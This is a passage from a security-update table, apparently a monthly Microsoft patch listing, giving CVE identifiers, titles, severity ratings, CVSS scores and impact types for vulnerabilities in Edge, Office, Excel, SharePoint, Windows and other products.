RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  